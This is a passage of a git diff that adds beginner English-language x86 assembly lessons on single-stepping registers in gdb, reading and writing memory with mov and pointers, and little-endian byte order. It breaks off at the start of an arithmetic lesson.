+> To see inside all the boxes (`eax`, `ecx`, `edx`…) **whenever you want**, you needed a tool.
+> That tool is **`gdb`** — and in this lesson we open it for the first time.
+
+> gdb lets you **pause the worker at any instruction you choose** and look inside each box one by one. You run an instruction, it stops, you check "what changed?" — then one more instruction.
+> The course's most powerful learning moment begins here: **write an instruction → see what changed.** The machine is no longer a box to you; you can watch inside it.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is gdb Good For?](#what-is-gdb-good-for)
+- [Feeding the Program into gdb and Stopping It](#feeding-the-program-into-gdb-and-stopping-it)
+- [First Look: The Boxes Are Still Empty](#first-look-the-boxes-are-still-empty)
+- [First Step: `si` and "There, It Changed!"](#first-step-si-and-there-it-changed)
+- [eip: Where Is the Worker Right Now?](#eip-where-is-the-worker-right-now)
+- [Round 2: Watching the Copy Live](#round-2-watching-the-copy-live)
+- [Quitting and the Rest of gdb](#quitting-and-the-rest-of-gdb)
+
+---
+
+## What Is gdb Good For?
+
+So far you've written your program, run it, and seen a single result with `echo $?`. But you couldn't see what happened in between — which instruction changed which box and how. The program was a box: input went in, output came out, and the rest was dark.
+
+**`gdb` (*GNU Debugger*)** is what lights up that darkness. It does two things, and in this lesson you need both:
+
+1. **It pauses.** You can freeze the program at any instruction you choose — the worker is standing there, order in hand, and you've said "stop."
+2. **It shows the inside.** The moment it stops, you can read the current value of each box (register).
+
+Combine these two and here's what you get: run an instruction → stop → look at the boxes → one more instruction → look again. You see with your own eyes what the instructions do *one by one*. This is called **single-stepping** (*single-step*).
+
+> 🔑 gdb = the tool for **pausing** the worker and looking inside each box. Single-stepping: run an instruction, stop, look at what changed, repeat.
+
+We already installed gdb back in 05 ([05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md)). You also have a program left over from 06: `cikis.asm`. We start with it.
+
+---
+
+## Feeding the Program into gdb and Stopping It
+
+First, make sure the program from 06 is still neat and tidy. `cikis.asm` was this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and link (the same chain as in 06):
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+```
+
+Now, instead of saying `./cikis`, we open the program **inside gdb**:
+
+```
+gdb ./cikis
+```
+
+You'll be greeted by a prompt that reads `(gdb)` — from now on you'll type commands here. Our first two commands are setup:
+
+```
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+- **`set disassembly-flavor intel`** → this tells gdb to "show the instructions **in the order we wrote them**." (*disassembly* = turning machine code back into readable asm instructions; *flavor* = which writing style it shows them in.) By default gdb uses a different, reversed order — throughout this course we always prefer intel, that is, the order you wrote.
+- **`starti`** → "start the program, but stop immediately at the **first instruction**." The worker has raised its hand *before doing anything at all*, waiting for you.
+
+On the screen you'll see this (I actually ran it):
+
+```
+Program stopped.
+0x08049000 in _start ()
+```
+
+There it is — the worker stopped. `0x08049000` is the **address of the instruction** the worker is currently stopped at (which instruction is up next); we'll get to it shortly. What matters: the program started but **not a single instruction has run yet.** The ideal moment to look.
+
+> 💡 **You might wonder:** *"Why `starti`? Couldn't I just say `run`?"* `run` runs the program **all the way to the end** — and since our program exits right away, it would finish before you could watch anything. `starti` ("start-instruction"), on the other hand, **stops at the first instruction**; that's exactly what we want in order to watch.
+
+---
+
+## First Look: The Boxes Are Still Empty
+
+While the worker is stopped at the first instruction, let's look at the boxes. The command: **`info registers`** (short form `i r`). If you like, give only the boxes you care about:
+
+```
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x0 0
+```
+
+Each line is a box: name on the left, value in hexadecimal in the middle (`0x0`), decimal on the right (`0`). So **right now both eax and ebx are 0.** Makes sense — `mov ebx, 8` hasn't run yet; the worker is still waiting *in front of* that instruction.
+
+> 💡 The value is written twice because it's two representations of the same number: `0x0` (hexadecimal) and `0` (decimal) — back in 03 ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)) we saw that they're the same number. gdb shows both so you can read whichever you want.
+
+---
+
+## First Step: `si` and "There, It Changed!"
+
+Now make the worker run **a single instruction**. The command: **`si`** (*step-instruction* — "advance one instruction"):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x8 8
+```
+
+**There's the moment.** `ebx` was `0` just now, and now it's `8`. You said `si`, the worker ran `mov ebx, 8`, and **you saw the box change with your own eyes.** In 06 we *knew* that `mov ebx, 8` puts 8 into ebx; now we **watched it.** That's the difference: between knowing and seeing.
+
+`eax` is still `0` — because the instruction that changes it (`mov eax, 1`) hasn't run yet; it's up next.
+
+Fire one more `si` so that `mov eax, 1` runs:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x1 1
+ebx 0x8 8
+```
+
+Now `eax` became `1` too, and `ebx` is still `8`. Each instruction touched **only its own box** and left the other alone. You're now watching the worker's "fetch-do-advance" loop frame by frame.
+
+> 🔑 `si` = run one instruction, stop. In between, look with `info registers eax ebx` → you see which box changed. The course's promise of "write an instruction → see what changed" is exactly this.
+
+---
+
+## eip: Where Is the Worker Right Now?
+
+We've seen the values of the boxes. But how do we see **where in the list** the worker is — that is, "which instruction is next"?
+
+There's a box that holds this too: **`eip`** (*instruction pointer* — "instruction indicator"). Inside it sits the **address** of the next instruction. Remember how in 01 the worker's loop was "fetch-do-**advance**" — well, `eip` is the box for that "where." After each instruction the worker advances eip to the next instruction.
+
+To see the next instruction: **`x/i $eip`** ("show the instruction at the address eip points to, as an instruction"):
+
+> 💡 **What's the `$` at the front?** In gdb, when you use a register **inside an expression, because you need its value**, you put a `$` in front of its name: `$eip` = "the address *inside* eip". In the `info registers eax` above there was no `$` — because there we weren't factoring the register into a computation, we were just **listing it by name**. In short: if you're using its value, `$eip`; if you're only naming it, `eax`.
+
+```
+(gdb) x/i $eip
+```
+
+At the very start of the program (right after starti) the output was this:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x8
+```
+
+`=>` means "the worker is here right now" — and that address, `0x8049000`, is the **same address** as the `0x08049000` you saw in the `starti` output above; the extra leading zero is just zero-padding and doesn't change the value. And the instruction you see: `mov ebx,0x8` — **exactly your `mov ebx, 8`.** (`0x8` is 8 in hexadecimal; thanks to `disassembly-flavor intel` the order too is as you wrote it: destination `ebx` first, then source.) When you fire a `si`, the `=>` shifts to the next instruction (`mov eax,0x1`), and one more shifts it to `int 0x80`. **The worker is advancing through the list, and you're watching over its shoulder step by step.**
+
+> 💡 **You might wonder:** *"Why do the addresses jump by 5 each time, `0x8049000`, `0x8049005`?"* Because each instruction takes up **a few bytes** in memory; an instruction like `mov ebx, 8` is 5 bytes. When the worker finishes an instruction, it advances eip **by the length of that instruction** — that is, to the start of the next instruction. How instructions are encoded as bytes is a separate and deep topic; for now the only thing you need to know is: **eip = the address of the next instruction, advancing at every step.**
+
+> 🔑 `eip` = the box holding the address of the next instruction (the worker's "where"). With `x/i $eip` you read the next instruction; the `=>` pointer shows the worker's position.
+
+---
+
+## Round 2: Watching the Copy Live
+
+In 06 there was a claim: `mov ebx, eax` "copies" — it puts the value in `eax` into `ebx` but **`eax` doesn't empty out.** Back then I promised, I said "I tried this." Now **you too will see it with your own eyes in gdb.**
+
+Make a new file named `kopya.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, eax ; COPY the 7 in eax to ebx
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, open in gdb, watch the boxes:
+
+```
+nasm -f elf32 kopya.asm -o kopya.o
+ld -m elf_i386 kopya.o -o kopya
+gdb ./kopya
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First, run `mov eax, 7`:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x0 0
+```
+
+`eax` is now `7`, `ebx` is still `0`. Now the main event — `mov ebx, eax` (the copy):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x7 7
+```
+
+**There's the proof.** `ebx` became `7` (the copy arrived) — **but `eax` is still `7`.** The source didn't empty out. The sentence from 06, "move is really copy," you now don't just *know* — you **see it.** (If you like, finish the program: the final `si`s run `mov eax, 1` and `int 0x80`; `echo $?` — in fish: `echo $status` — says **7**, because on exit the 7 in `ebx` is read.)
+
+---
+
+## Quitting and the Rest of gdb
+
+To quit gdb:
+
+```
+(gdb) quit
+```
+
+(If the program is still mid-run it may ask "kill it?"; say `y`, it only closes that session.)
+
+In this lesson you learned **a single job** gdb does: watching registers by single-stepping. But gdb does far more than this — looking at memory, stopping at a specific place (breakpoint), changing values… These are for now a **closed box**; as you need them, we'll open them right then. Right now the `si` + `info registers` pair you have in hand is your **primary tool** for whenever you don't understand what an instruction does.
+
+> 🔑 Didn't understand what an instruction does? Your rule: open it in gdb, `starti`, then **watch with your own eyes** using `si` + `info registers`. Whenever you get stuck again in this course wondering "what did this do?", your answer is here.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ gdb = the tool for PAUSING the worker and looking inside each box (installed in 05).
+☐ Open the program in gdb: gdb ./cikis
+ (gdb) set disassembly-flavor intel → show instructions in our order
+ (gdb) starti → stop at the first instruction (NOT run: run would race to the end)
+☐ Look at the boxes: info registers eax ebx (short: i r eax ebx)
+ - name on left, 0x.. (hex) in middle, decimal on right — same number.
+☐ Single step: si → run one instruction, stop. Then look again → see WHAT CHANGED.
+ - after mov ebx, 8, ebx: 0 → 8. after mov eax, 1, eax: 0 → 1.
+☐ eip = the box holding the address of the next instruction (the worker's "where").
+ - x/i $eip → show the next instruction. the => pointer shows the worker's position.
+☐ Copy proof (kopya.asm): after mov ebx, eax, ebx=7 BUT eax still 7 → the source doesn't empty out.
+☐ Rule: if an instruction isn't understood → watch with starti + si + info registers in gdb.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Where the `cikis.asm` we watched and the `mov` came from
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What the boxes (registers) we looked inside actually are
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The worker's "fetch-do-advance" loop; eip is the box for that "advance"
+
+---
+
+**Previous topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+**Next topic:** 08_mov_ve_bellek.md 🚧 *(being written)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
new file mode 100644
index 0000000..6890839
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
@@ -0,0 +1,98 @@
+# 🔄 x86 Assembly — Little-Endian: When You Look at Memory Byte by Byte
+
+> In 08 we looked at memory with `x/1dw` and saw a tidy `42`, `99`. But back in 04 we left a debt: we said a big number is spread across memory as **several bytes** — so in what *order* are those bytes laid out, one by one?
+> Here's the short surprise that makes everyone pause the first time they see it. A little side lesson; but if you don't know this, later on when you look at raw memory you'll be confused.
+
+---
+
+## First, the Familiar 42
+
+Recall the `sayi: dd 42` from 08. When we looked at it in gdb as "a single dword" (`x/1dw`), we saw `42`. Now let's look at the same spot **byte by byte**. The command: `x/4xb` = "show 4 bytes, in hexadecimal" (`x` examine, `4` four of them, `x` hex, `b` byte):
+
+```
+(gdb) x/1dw &sayi # as a single dword
+0x804a000: 42
+
+(gdb) x/4xb &sayi # byte by byte
+0x804a000: 0x2a 0x00 0x00 0x00
+```
+
+`42` is `0x2a` in hexadecimal (from 03). The four bytes of memory: `2a 00 00 00`. At first glance quite normal — "42 at the very front, the rest empty (zero)." Seems fine. But this example is a bit **blind** — because three bytes are zero, the oddness of the order doesn't show. To actually see the order, we need a number whose four bytes are all **filled**.
+
+---
+
+## Now a Clear Example: `0x12345678`
+
+Let's put a number in memory whose every byte is **different** (hex from 03): `b: dd 0x12345678`. The four bytes of this number are obvious: `12`, `34`, `56`, `78`. Let's look in gdb:
+
+```
+(gdb) x/1xw &b # single dword (hex)
+0x804a004: 0x12345678
+
+(gdb) x/4xb &b # byte by byte
+0x804a004: 0x78 0x56 0x34 0x12
+```
+
+**Here's the surprise.** Above we wrote `dd 0x12345678`; when gdb is asked for "a single dword" (`x/1xw`) it neatly shows `0x12345678`. But looking at memory **byte by byte**, the order is:
+
+```
+ What you wrote: 12 34 56 78
+ In memory: 78 56 34 12 ← exactly REVERSED!
+```
+
+The number is laid out **backwards** in memory. Not a typo — this is the machine's rule. Its name: **little-endian.**
+
+> 🔑 A multi-byte number is written to memory **byte by byte, backwards**: `0x12345678` → in memory `78 56 34 12`. `x/1dw` reassembles it correctly for you and shows it; but looking byte by byte (`x/4xb`) you see it reversed.
+
+---
+
+## Why "Little" (Little End First)?
+
+The rule isn't really "backwards" — it has a consistent logic: **the least significant byte goes to the smallest address (the very front).**
+
+Break `0x12345678` into parts:
+- `0x78` → the number's **least significant** end (the rightmost, like the "ones place").
+- `0x12` → its **most significant** end (the leftmost).
+
+Little-endian puts the number's **little end first** — that's why `0x78` is at the very front and `0x12` is at the very end. The name comes from this: *little-endian* = "little end first." (There's also the opposite — *big-endian* machines that put the big end first — but your x86 machine is little-endian; in this course you'll always see that.)
+
+> 💡 **You might be wondering:** *"Why such a weird rule? Wouldn't it be fine to just write it straight?"* Both (little/big) have historical and technical reasons, and which one is "right" is an old debate — so much so that even the name comes from a joke: in *Gulliver's Travels*, the "Little-Endians" and "Big-Endians" who go to war over whether to crack an egg from its pointy end or its blunt end. That is, even engineers laughed so hard at the "which end first" quarrel that they named it after that. The practical upshot for you is just one thing: **x86 = little-endian, little end first.**
+
+---
+
+## Why Is Knowing This Important?
+
+Because it has two faces:
+- If you tell gdb (or some other tool) "show this as a **number**" (`x/1dw`, `x/1xw`), it reassembles those bytes in the right order for you — **you notice nothing.**
+- But if you look at memory as **raw bytes** (`x/4xb`), or you **write out a number byte by byte yourself**, the order flips — and if you don't know this, you'll be baffled for hours over "why did I get `78563412` when I expected `12345678`?"
+
+So little-endian is a small but frequently useful fact to keep in your pocket: "the machine writes numbers to memory from the little end." Every time you look at raw memory (and later, when you split an address into bytes by hand), this rule will show up.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A multi-byte number is laid out in memory LITTLE-ENDIAN: least significant byte at the very front (smallest address).
+ - 0x12345678 → in memory: 78 56 34 12 (exactly reversed)
+ - 42 (0x2a) → in memory: 2a 00 00 00 (2a in front; the zeros hide the reversal)
+☐ x/1dw (looking at it as a single number) → gdb REASSEMBLES in the right order, you don't see the reversal.
+ x/4xb (looking byte by byte) → you see the raw form: REVERSED.
+☐ Name: little end first = little-endian. x86 = ALWAYS little-endian. (big-endian also exists; not here.)
+☐ Practical: when looking at raw memory / splitting a number into bytes by hand, the order is reversed — don't forget it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where we learned to look at memory (`x`) and to put numbers in with `dd`
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the "a big number = several consecutive boxes" debt was incurred; here's the layout order
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The concepts of byte, hex, and "least/most significant digit"
+
+---
+
+**Previous topic:** [08_mov_ve_bellek.md](./08_mov_ve_bellek.md)
+**Next topic:** 09_aritmetik.md 🚧 *(in progress)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
new file mode 100644
index 0000000..9f45fe1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -0,0 +1,264 @@
+# 🗂️ x86 Assembly — mov and Memory: Reaching Into Boxes with `[...]`
+
+> In 04 we sketched the worker's **warehouse–pocket dance**: FETCH (from memory to pocket), PROCESS (in the pocket), DROP (from pocket to memory). But back then we said "we'll see the real instructions in Unit 1."
+> This is that moment: in this lesson we do **FETCH** and **DROP** with a real instruction — again `mov`.
+
+> And in 04 we planted a seed: *one box can hold the address of another box* (a pointer). We said "we're leaving actually following it to 08."
+> Today we keep that promise too: for the first time you'll **follow a pointer** and grab the value at the place it points to. The only new thing is a small mark: **`[...]`**.
+
+---
+
+## 📋 Table of Contents
+
+- [`[...]`: The Box at an Address](#-the-box-at-an-address)
+- [Putting a Box in Memory: `section .data`](#putting-a-box-in-memory-section-data)
+- [FETCH: From Memory to a Register](#fetch-from-memory-to-a-register)
+- [DROP: From a Register to Memory](#drop-from-a-register-to-memory)
+- [Your First Pointer Follow](#your-first-pointer-follow)
+
+---
+
+## `[...]`: The Box at an Address
+
+So far you've seen two forms of `mov` (06): `mov eax, 5` (a number into a box) and `mov ebx, eax` (box to box). In both, the source and destination were **registers** — boxes in the worker's pocket. But most of the work sits in the **warehouse** (in memory); how do we reach out there?
+
+The answer is a single mark: **square brackets, `[...]`.** The rule is this simple:
+
+- A number/name without brackets → **the value itself.** `mov eax, 5` = "put 5 into eax."
+- Inside brackets → **"the contents of the box at that address."** `mov eax, [5]` = "**go to box number 5**, put the value there into eax."
+
+This is the real-instruction form of the address/value distinction from 04. The brackets are the way to tell the worker "this is an address — go there, take what's there." Think of the brackets as a "→ go there" arrow: `[number]` = "go to the *place number points to*."
+
+A warning: the `[5]` here only shows the **idea** — 5 isn't a real address that belongs to you. Don't try to run this on its own in a program; the kernel will say "that's not yours" and stop the program. In a moment we'll actually do the same job with `[number]` over an *allowed* address.
+
+> 🔑 `[...]` = "this is an address, go there and use the value there." Without brackets = the value itself; with brackets = the contents of the box at that address. This is the instruction-level counterpart of the address/value distinction from 04.
+
+---
+
+## Putting a Box in Memory: `section .data`
+
+To be able to read from memory, we first need to have **something** in memory. So far our programs used only `section .text` (the code section). To put our data, there's a second section: **`section .data`.**
+
+```nasm
+section .data
+ sayi: dd 42
+```
+
+Line by line:
+- `section .data` → "from here on it's **data**, not code."
+- `sayi:` → the **label** (name) we tack onto the box we put in memory. Actually `sayi` is the **address** of that box — we give it a readable name so you don't have to memorize the numeric address.
+- `dd 42` → **d**efine **d**word: "make room for 4 bytes (as big as a register; see 04), put 42 inside." (`db` = 1 byte, `dw` = 2 bytes, `dd` = 4 bytes.)
+
+So `sayi: dd 42` means **a 4-byte box named "sayi" with 42 written inside** in memory. Now when you write `[sayi]` in the code, the worker will understand "go to sayi's address, take the value there."
+
+> 💡 **You might be wondering:** *"You said `sayi` is an address, but I wrote `42` — which is it?"* They're two separate things, just like in 04: `sayi` is the box's **place** (address), `42` is the box's **contents** (value). If you write `sayi` in the code you mean the address, if you write `[sayi]` you mean the 42 inside. In a moment we'll see both in gdb — the address is a big number, the value is 42.
+
+---
+
+## FETCH: From Memory to a Register
+
+The **FETCH** step of 04: pull a box from the warehouse into the pocket. The real instruction:
+
+```nasm
+mov eax, [sayi] ; "go to sayi's address, put the value there into eax"
+```
+
+Let's try it with a full program. `bellek.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov eax, [sayi] ; FETCH: read from memory → eax = 42
+ mov dword [sayi], 99 ; DROP: write to memory → sayi is now 99
+ mov eax, [sayi] ; read again (proof) → eax = 99
+ mov ebx, eax ; the result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and open in gdb (the habit from 07):
+
+```
+nasm -f elf32 bellek.asm -o bellek.o
+ld -m elf_i386 bellek.o -o bellek
+gdb ./bellek
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+This time we won't just look at a register, but at **memory itself**. The command to look at a memory box is **`x`** (*examine*): `x/1dw &sayi` = "show 1 dword at sayi's address in decimal." (`&sayi` = "sayi's address"; `d` = show in decimal; `w` = **a 4-byte dword**.)
+
+> 💡 **Don't mix it up:** the `w` here is the **same letter but a different dictionary** than the `dw` in `section .data`. In NASM, `dw` = 2 bytes; in gdb's `x/…w`, `w` = **4 bytes** (dword). Same letter, two tools, two sizes — here it shows 4 bytes.
+
+```
+(gdb) info registers eax
+(gdb) x/1dw &sayi
+```
+
+The real output — before any instruction has run yet:
+
+```
+eax 0x0 0
+0x804a000: 42
+```
+
+`eax` is still `0` (no loading has happened), but **`sayi` in memory** is already `42` — because we put it there with `dd 42`. The `0x804a000` on the left is sayi's **address** (we'll use that big number in a moment on the pointer tour).
+
+Now run `mov eax, [sayi]`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x2a 42
+```
+
+**That's FETCH.** `eax` is now `42` (`0x2a`, from 03: the hexadecimal of 42) — the value came from memory into the pocket. The "pull from warehouse into pocket" step we drew as a Turkish draft in 04, you've now done for the first time with a real instruction.
+
+---
+
+## DROP: From a Register to Memory
+
+Now the reverse direction — the **DROP** step of 04: put a value from the pocket (or from our hand) into the warehouse. The destination is bracketed (an address), the source is the value:
+
+```nasm
+mov dword [sayi], 99 ; "write 99 to sayi's address"
+```
+
+The `dword` here is a small but necessary detail: when writing **a number directly** (99) into memory, the worker can't know "how many bytes should I write — 1 or 4?" (99 fits in all of them). `dword` tells it "write 4 bytes." (If the source were a register — `mov [sayi], eax` — you wouldn't need to write this, since a register is already 4 bytes.)
+
+Continue in gdb from where we left off — do one `si`, then look at **memory**:
+
+```
+(gdb) si
+(gdb) x/1dw &sayi
+```
+
+```
+0x804a000: 99
+```
+
+**That's DROP.** The memory box that was `42` a moment ago is now `99`. You saw with your own eyes that you changed memory *itself* — not a register, but a box in the warehouse. Let's read it one more time as proof (`mov eax, [sayi]`):
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x63 99
+```
+
+`eax` is `99` this time, not `42` (`0x63`) — because 99 is now written in memory. FETCH → DROP → FETCH again: you've spun 04's dance from start to finish with real instructions. (When the program ends, `echo $?` — in fish: `echo $status` — says **99**; because on exit the 99 we put into `ebx` is read.)
+
+> 💡 Forward note: with `x/1dw` we looked at memory as "one big number" and saw a clean `42`/`99`. But how those 4 bytes are laid out in memory *one by one* — which byte comes first? — has its own peculiar rule that seems strange at first glance. We'll open up this "exactly reversed" surprise in the next short lesson ([08.5_little_endian](./08.5_little_endian.md)) by looking at memory byte by byte. For now, "`[sayi]` = the value there" is enough.
+
+---
+
+## Your First Pointer Follow
+
+Now we make 04's most powerful seed bloom. There we said: a box can hold, instead of the actual data, **where the actual data is** (its address) — we called this a **pointer** (like a coat-check ticket: the ticket isn't your coat, it tells you the *location* of your coat). And we drew that "go to the place someone points to" is two steps. Now we take those two steps with a real instruction.
+
+The key idea: a **register** can hold an address inside it. If it does, that register is a pointer — and with `[...]` we can *follow* it. `pointer.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov ebx, sayi ; ebx = sayi's ADDRESS (NO brackets → not the value, the address)
+ mov eax, [ebx] ; go to the place ebx points to, take what's there into eax
+ mov ebx, eax ; the result into the exit code (ebx's pointer duty is done)
+ mov eax, 1
+ int 0x80
+```
+
+Pay attention to two instructions, because the whole lesson is in these two:
+- `mov ebx, sayi` → **no brackets.** So put sayi's **address** into ebx. Now ebx is a pointer — inside it is not a value, but a *place*.
+- `mov eax, [ebx]` → **with brackets.** "Go to the address inside ebx, take the value there." That is, **follow** the pointer.
+
+Assemble, watch in gdb:
+
+```
+nasm -f elf32 pointer.asm -o pointer.o
+ld -m elf_i386 pointer.o -o pointer
+gdb ./pointer
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov ebx, sayi
+(gdb) info registers ebx eax
+```
+
+The real output:
+
+```
+ebx 0x804a000 134520832
+eax 0x0 0
+```
+
+**Look inside `ebx`:** `0x804a000` — a big number, but not a **value**, sayi's **address** (its place in memory). `eax` is still 0. ebx is now a pointer: it holds not 42, but *where* 42 is. Exactly the "box 5 points to box 12" picture from 04 — here ebx points to sayi.
+
+Now follow the pointer:
+
+```
+(gdb) si # mov eax, [ebx]
+(gdb) info registers ebx eax
+```
+
+```
+ebx 0x804a000 134520832
+eax 0x2a 42
+```
+
+**That's a pointer follow.** `eax` became `42` — but we didn't write this 42 directly; we *went to the address ebx points to* and took it from there. `ebx` still holds the address (unchanged), while `eax` holds the value at that address. In 04 we said "first look at box 5 (12 inside it), read that 12 as an address, go to box 12 (the actual value is there)" — that's exactly what you did, with real instructions. (`echo $?` → **42**.)
+
+> 🔑 A pointer = a register that holds an address. `mov ebx, sayi` (no brackets) puts the **address** into ebx; `mov eax, [ebx]` (with brackets) goes to that address and takes the **value** — that is, it *follows* the pointer. The difference is a single pair of square brackets.
+
+> 💡 **You might be wondering:** *"`mov eax, [sayi]` already gave 42. Why do I need `mov ebx, sayi` + `mov eax, [ebx]` — two instructions for the same result?"* In this example, yes, it's the same. But the difference is this: in `[sayi]` the address is **embedded/fixed in the code.** In a pointer, the address is in a **register**, that is, *changeable* — you can put another address into ebx and reach a completely different box with the same `[ebx]` instruction. Walking through an array, carrying big data from hand to hand by its address (04) — all of it happens with this. Fixed `[sayi]` is a single door; `[ebx]` is the key that **opens whichever door you want**.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ [...] = "this is an address, go there, use the value there." (04's address/value distinction, in an instruction.)
+ - mov eax, 5 → 5 into eax (value)
+ - mov eax, [5] → the contents of box NUMBER 5 into eax
+☐ section .data + label = putting a named box in memory.
+ - sayi: dd 42 → a 4-byte box named "sayi", 42 inside. (db=1, dw=2, dd=4 bytes)
+ - sayi = address (the box's place) · [sayi] = value (the box's contents).
+☐ FETCH (memory → register): mov eax, [sayi] → eax = the value in memory (42).
+☐ DROP (register/value → memory): mov dword [sayi], 99 → write to memory.
+ - When writing a number DIRECTLY to memory, state the size: dword (4 bytes). Not needed if the source is a register.
+☐ Look at memory in gdb: x/1dw &sayi → show the dword at that address. (&sayi = sayi's address)
+☐ POINTER = a register that holds an address.
+ - mov ebx, sayi (no brackets) → ebx = ADDRESS (pointer).
+ - mov eax, [ebx] (with brackets) → FOLLOW the pointer → eax = the value at that address (42).
+ - The difference: [sayi]'s address is fixed; [ebx]'s address is in a register → changeable (that's the real power).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the FETCH→DROP dance and the pointer seed (address/value) were drawn; this lesson is its real instructions
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — The first (register-to-register) form of `mov`
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The tool we used here to look live at memory (`x`) and registers
+- 09_aritmetik.md 🚧 *(being written)* — The "PROCESS" step: no longer just moving, but doing arithmetic with the numbers you move
+
+---
+
+**Previous topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+**Next topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
new file mode 100644
index 0000000..8c679ec
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
@@ -0,0 +1,365 @@
+# ➕ x86 Assembly — Arithmetic: `add`, `sub`, and the Secret of Negative Numbers
+
+> In 04 we sketched the worker's dance: **FETCH** (from storage to the pocket) → **WORK** (compute in the pocket) → **DROP** (from the pocket back to storage).
+> In 08 we did **FETCH** and **DROP** with the real `mov` instruction — but the middle step, **WORK**, stayed empty: we kept moving things around, never actually *computing.*
+> That missing piece gets filled in this lesson. With `add` and `sub` you make the machine do a **calculation** for the first time; then we pay off a debt we left in 06 — "how do negative numbers fit into a byte?"
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I assembled and ran them on my own machine, and the numbers you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [`add`: The Worker's Add Order](#add-the-workers-add-order)
+- [The First Calculation Program](#the-first-calculation-program)
+- [Watch It in GDB: Addition Live](#watch-it-in-gdb-addition-live)
+- [`sub`: Subtraction](#sub-subtraction)
+- [`inc` / `dec`: Add One, Subtract One](#inc--dec-add-one-subtract-one)
+- [The Secret of Negative Numbers: Two's Complement](#the-secret-of-negative-numbers-twos-complement)
+- [The Whole Dance: FETCH → WORK → DROP](#the-whole-dance-fetch--work--drop)
+
+---
+
+## `add`: The Worker's Add Order
+
+In 01, when we looked at the kinds of orders the worker can take, we put "**compute**" in second place. The most basic one is addition, and its real name is `add` (English *add*, "to add").
+
+Its spelling looks a lot like `mov` — it takes two boxes:
+
+```nasm
+add destination, source ; "into destination, ADD source"
+```
+
+But there's one difference from `mov`, and the whole point is in that difference:
+
+- `mov eax, 3` → eax's old value is **erased**, and 3 takes its place. (*puts*)
+- `add eax, 3` → eax's old value **stays**, and 3 is added on top. (*adds*)
+
+So `add` doesn't zero out the target; it puts it **on top of what's already there**. If eax holds 5 and you say `add eax, 3`, eax now becomes 8 (5 + 3). This is the most basic form of 04's **WORK** step.
+
+> 🔑 `add destination, source` = "destination = destination + source." Unlike `mov`, it doesn't erase the old value, it adds on top. `mov` puts, `add` accumulates.
+
+---
+
+## The First Calculation Program
+
+Now let's make the machine do an addition for the first time. `topla.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5 ; eax = 5
+ add eax, 3 ; eax = 5 + 3 = 8
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
